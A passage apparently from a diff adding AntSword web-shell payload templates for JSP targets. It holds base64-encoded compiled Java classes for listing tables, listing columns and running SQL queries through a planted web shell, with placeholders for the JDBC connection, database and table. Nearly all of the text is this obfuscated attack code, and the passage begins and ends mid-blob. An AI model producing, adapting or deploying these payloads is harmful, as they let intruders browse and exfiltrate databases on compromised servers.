scwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAOAHAMAHAH4HAOEHAOIHAIcHAKMHAJ8BAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcArAEACmV4ZWN1dGVTUUwBAG8oTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7WilMamF2YS9sYW5nL1N0cmluZzsHAOMHAOQHAOUHAOYHAOcBAApzaG93VGFibGVzDABiAGMBAB1qYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dAwA6ADpDADqAOsBABRhbnRzd29yZHJhbmRvbVByZWZpeAwAYQBfAQAGYmFzZTY0DABeAF8BAA9hbnRzd29yZENoYXJzZXQMAGAAXwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIBAAAMAGIA7AEAAy0+fAEAA3w8LQEAEWFudHN3b3JkYXJnZW5jb2RlAQAPYW50c3dvcmRhcmdjb25uAQANYW50c3dvcmRhcmdkYgEACXRleHQvaHRtbAcA4gwA7QDsBwDhDADuAOwBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwA7wDwDADxAPIMAPMA9AwAcwBxDABwAHEMAPEA9QwAfABxDAD2APcHAPgMAPkA7AEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAlFUlJPUjovLyABAANoZXgMAGUAZgEAEGphdmEvbGFuZy9TdHJpbmcMAPoA+wwAYgD8BwD9DAD+AP8MAQABAQEABG51bGwBABAwMTIzNDU2Nzg5QUJDREVGDAECAPQBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwBAwEEDABiAQUMAQYBBwwBCAEJDADxAQoBAAEsDAELAQUBAAVVVEYtOAwA8wDwAQAMamF2YS52ZXJzaW9uBwEMDAENAPABAAMxLjkMAQ4A/wEAEGphdmEudXRpbC5CYXNlNjQMAQ8BEAEACmdldERlY29kZXIBAA9qYXZhL2xhbmcvQ2xhc3MMAREBEgEAEGphdmEvbGFuZy9PYmplY3QHARMMARQBFQwBFgEXAQACW0IBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyDAEYARkHARoMARsBHAEADGRlY29kZUJ1ZmZlcgwBHQD0AQACDQoBAAEKDAEeAR8MASABIQEAEyZjaGFyYWN0ZXJFbmNvZGluZz0HASIMASMBJAcA5AwBJQEmBwDlDAEnASgHAOYMASkBKgcA5wwBKwEEDAEsAQEMAS0BLgwBLwEBAQARc2hvdyB0YWJsZXMgZnJvbSABAAEJDAB1AHYBAAtTaG93X3RhYmxlcwEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL3NxbC9Db25uZWN0aW9uAQASamF2YS9zcWwvU3RhdGVtZW50AQASamF2YS9zcWwvUmVzdWx0U2V0AQAaamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGEBAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEABmdldE91dAEAHygpTGphdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcjsBABtqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXIBAAVwcmludAEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL0ludGVnZXIBAAhwYXJzZUludAEAFShMamF2YS9sYW5nL1N0cmluZzspSQEACXN1YnN0cmluZwEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAGbGVuZ3RoAQADKClJAQAEKEkpVgEABmNoYXJBdAEABChJKUMBAAdpbmRleE9mAQAEKEkpSQEAHChJKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAV3cml0ZQEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEACWNvbXBhcmVUbwEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAFmdldERlY2xhcmVkQ29uc3RydWN0b3IBADMoW0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjsBAB1qYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcgEAC25ld0luc3RhbmNlAQAnKFtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAEdHJpbQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAWamF2YS9zcWwvRHJpdmVyTWFuYWdlcgEADWdldENvbm5lY3Rpb24BACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZ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',
+    [arg1]: '#{newbase64::encode}',
+    [arg2]: '#{newbase64::conn}',
+    [arg3]: '#{newbase64::db}'
+  },
+  show_columns: {
+    _: 'yv66vgAAADMBNwoARACBBwCCCgACAIMKAAIAhAgAhQkAYACGCACHCQBgAIgIAIkJAGAAigcAiwgAjAoACwCNCACOCACPCACQCACRCACSCACTCACUCwCVAJYLAJcAmAsAlQCYBwCZCgAYAIELAJcAmgoAGACbCgAYAJwKAGAAnQoAYACeCgALAJ8KAGAAoAoACwCcCgACAKEKAKIAowcApAgApQoAJACcCACmCgApAKcHAKgKACkAqQoAKQCqCgCrAKwKACkArQgArggArwoAKQCwBwCxCgApALIKADEAswoAKQC0CgApALUKABgAtggAtwoAMQC4CAC5CgAxALoIALsKALwAvQgAvgoAKQC/CADACgBCAMEIAMIHAMMKAEIAxAcAxQoAxgDHCgBEAMgIAHYHAMkIAMoKAEIAywoAzADNCADOCgApAM8IANAIANEKACkA0goAKQDTCADUCgDVANYLANcA2AsA2QDaCwDbANwLAN0A3gsA3QDfCwDbAOALANsA4QgA4ggA4wgA5AgA5QoAYADmBwDnAQAHZW5jb2RlcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAmNzAQAMcmFuZG9tUHJlZml4AQAGPGluaXQ+AQADKClWAQAEQ29kZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAOcHAMUHAIIHAOgHAOkHAIsHAKgHAKQBAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAsQEACmV4ZWN1dGVTUUwBAG8oTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7WilMamF2YS9sYW5nL1N0cmluZzsHAOoHAOsHAOwHAO0HAO4BAAtzaG93Q29sdW1ucwEAXChMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DABlAGYBAB1qYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dAwA7wDwDADxAPIBABRhbnRzd29yZHJhbmRvbVByZWZpeAwAZABiAQAGYmFzZTY0DABhAGIBAA9hbnRzd29yZENoYXJzZXQMAGMAYgEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIBAAAMAGUA8wEAAy0+fAEAA3w8LQEAEWFudHN3b3JkYXJnZW5jb2RlAQAPYW50c3dvcmRhcmdjb25uAQANYW50c3dvcmRhcmdkYgEAEGFudHN3b3JkYXJndGFibGUBAAl0ZXh0L2h0bWwHAOkMAPQA8wcA6AwA9QDzAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAPYA9wwA+AD5DAD6APsMAHYAdAwAcwB0DAD4APwMAH8AgAwA/QD+BwD/DAEAAPMBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABoAGkBABBqYXZhL2xhbmcvU3RyaW5nDAEBAQIMAGUBAwcBBAwBBQEGDAEHAQgBAARudWxsAQAQMDEyMzQ1Njc4OUFCQ0RFRgwBCQD7AQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAQoBCwwAZQEMDAENAQ4MAQ8BEAwA+AERAQABLAwBEgEMAQAFVVRGLTgMAPoA9wEADGphdmEudmVyc2lvbgcBEwwBFAD3AQADMS45DAEVAQYBABBqYXZhLnV0aWwuQmFzZTY0DAEWARcBAApnZXREZWNvZGVyAQAPamF2YS9sYW5nL0NsYXNzDAEYARkBABBqYXZhL2xhbmcvT2JqZWN0BwEaDAEbARwMAR0BHgEAAltCAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwBHwEgBwEhDAEiASMBAAxkZWNvZGVCdWZmZXIMASQA+wEAAg0KAQABCgwBJQEmDAEnASgBABMmY2hhcmFjdGVyRW5jb2Rpbmc9BwEpDAEqASsHAOsMASwBLQcA7AwBLgEvBwDtDAEwATEHAO4MATIBCwwBMwEIDAE0ATUMATYBCAEAAQkBAA5zZWxlY3QgKiBmcm9tIAEAAS4BAAogbGltaXQgMCwwDAB4AHkBAAxTaG93X2NvbHVtbnMBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9zcWwvQ29ubmVjdGlvbgEAEmphdmEvc3FsL1N0YXRlbWVudAEAEmphdmEvc3FsL1Jlc3VsdFNldAEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhAQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAZnZXRPdXQBAB8oKUxqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXI7AQAbamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyAQAFcHJpbnQBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9JbnRlZ2VyAQAIcGFyc2VJbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KUkBAAlzdWJzdHJpbmcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAljb21wYXJlVG8BAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABZnZXREZWNsYXJlZENvbnN0cnVjdG9yAQAzKFtMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAdamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3IBAAtuZXdJbnN0YW5jZQEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABHRyaW0BAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBAAVzcGxpdAEAJyhMamF2YS9sYW5nL1N0cmluZzspW0xqYXZhL2xhbmcvU3RyaW5nOwEAFmphdmEvc3FsL0RyaXZlck1hbmFnZXIBAA1nZXRDb25uZWN0aW9uAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvQ29ubmVjdGlvbjsBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7AQAMZXhlY3V0ZVF1ZXJ5AQAoKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvUmVzdWx0U2V0OwEAC2dldE1ldGFEYXRhAQAeKClMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAOZ2V0Q29sdW1uQ291bnQBAA1nZXRDb2x1bW5OYW1lAQAEbmV4dAEAAygpWgEACWdldFN0cmluZwAhAGAARAAAAAMAAQBhAGIAAAABAGMAYgAAAAEAZABiAAAABgABAGUAZgABAGcAAAARAAEAAQAAAAUq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',
+    [arg1]: '#{newbase64::encode}',
+    [arg2]: '#{newbase64::conn}',
+    [arg3]: '#{newbase64::db}',
+    [arg4]: '#{newbase64::table}'
+  },
+  query: {
+    _: 'yv66vgAAADMBLgoAQwB8BwB9CgACAH4KAAIAfwgAgAkAXACBCACCCQBcAIMIAIQJAFwAhQcAhggAhwoACwCICACJCACKCACLCACMCACNCACOCwCPAJALAJEAkgsAjwCSBwCTCgAXAHwLAJEAlAoAFwCVCgAXAJYKAFwAlwoAXACYCgALAJkKAFwAmgoACwCWCgACAJsKAJwAnQcAnggAnwoAIwCWCACgCgAoAKEHAKIKACgAowoAKACkCgClAKYKACgApwgAqAgAqQoAKACqBwCrCgAoAKwKADAArQoAKACuCgAoAK8KABcAsAgAsQoAMACyCACzCgAwALQIALUKALYAtwgAuAoAKAC5CAC6CgBBALsIALwHAL0KAEEAvgcAvwoAwADBCgBDAMIIAHIHAMMIAMQKAEEAxQoAxgDHCADICgAoAMkIAMoIAMsKACgAzAoAKADNCADOCgDPANALANEA0gsA0wDUCwDVANYLANcA2AsA1wDZCwDVANoLANUA2wgA3AoAXADdBwDeAQAHZW5jb2RlcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAmNzAQAMcmFuZG9tUHJlZml4AQAGPGluaXQ+AQADKClWAQAEQ29kZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAN4HAL8HAH0HAN8HAOAHAIYHAKIHAJ4BAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAqwEACmV4ZWN1dGVTUUwBAG8oTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7WilMamF2YS9sYW5nL1N0cmluZzsHAOEHAOIHAOMHAOQHAOUBAAVxdWVyeQwAYQBiAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAOYA5wwA6ADpAQAUYW50c3dvcmRyYW5kb21QcmVmaXgMAGAAXgEABmJhc2U2NAwAXQBeAQAPYW50c3dvcmRDaGFyc2V0DABfAF4BABZqYXZhL2xhbmcvU3RyaW5nQnVmZmVyAQAADABhAOoBAAMtPnwBAAN8PC0BABFhbnRzd29yZGFyZ2VuY29kZQEAD2FudHN3b3JkYXJnY29ubgEADmFudHN3b3JkYXJnc3FsAQAJdGV4dC9odG1sBwDgDADrAOoHAN8MAOwA6gEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDADtAO4MAO8A8AwA8QDyDAByAHAMAG8AcAwA7wDzDAB7AHAMAPQA9QcA9gwA9wDqAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEACUVSUk9SOi8vIAEAA2hleAwAZABlAQAQamF2YS9sYW5nL1N0cmluZwwA+AD5DABhAPoHAPsMAPwA/QwA/gD/AQAEbnVsbAEAEDAxMjM0NTY3ODlBQkNERUYMAQAA8gEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAEBAQIMAGEBAwwBBAEFDAEGAQcMAO8BCAEAASwMAQkBAwEABVVURi04DADxAO4BAAxqYXZhLnZlcnNpb24HAQoMAQsA7gEAAzEuOQwBDAD9AQAQamF2YS51dGlsLkJhc2U2NAwBDQEOAQAKZ2V0RGVjb2RlcgEAD2phdmEvbGFuZy9DbGFzcwwBDwEQAQAQamF2YS9sYW5nL09iamVjdAcBEQwBEgETDAEUARUBAAJbQgEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIMARYBFwcBGAwBGQEaAQAMZGVjb2RlQnVmZmVyDAEbAPIBAAINCgEAAQoMARwBHQwBHgEfAQATJmNoYXJhY3RlckVuY29kaW5nPQcBIAwBIQEiBwDiDAEjASQHAOMMASUBJgcA5AwBJwEoBwDlDAEpAQIMASoA/wwBKwEsDAEtAP8BAAMJfAkMAHQAdQEABVF1ZXJ5AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAE2phdmEvc3FsL0Nvbm5lY3Rpb24BABJqYXZhL3NxbC9TdGF0ZW1lbnQBABJqYXZhL3NxbC9SZXN1bHRTZXQBABpqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW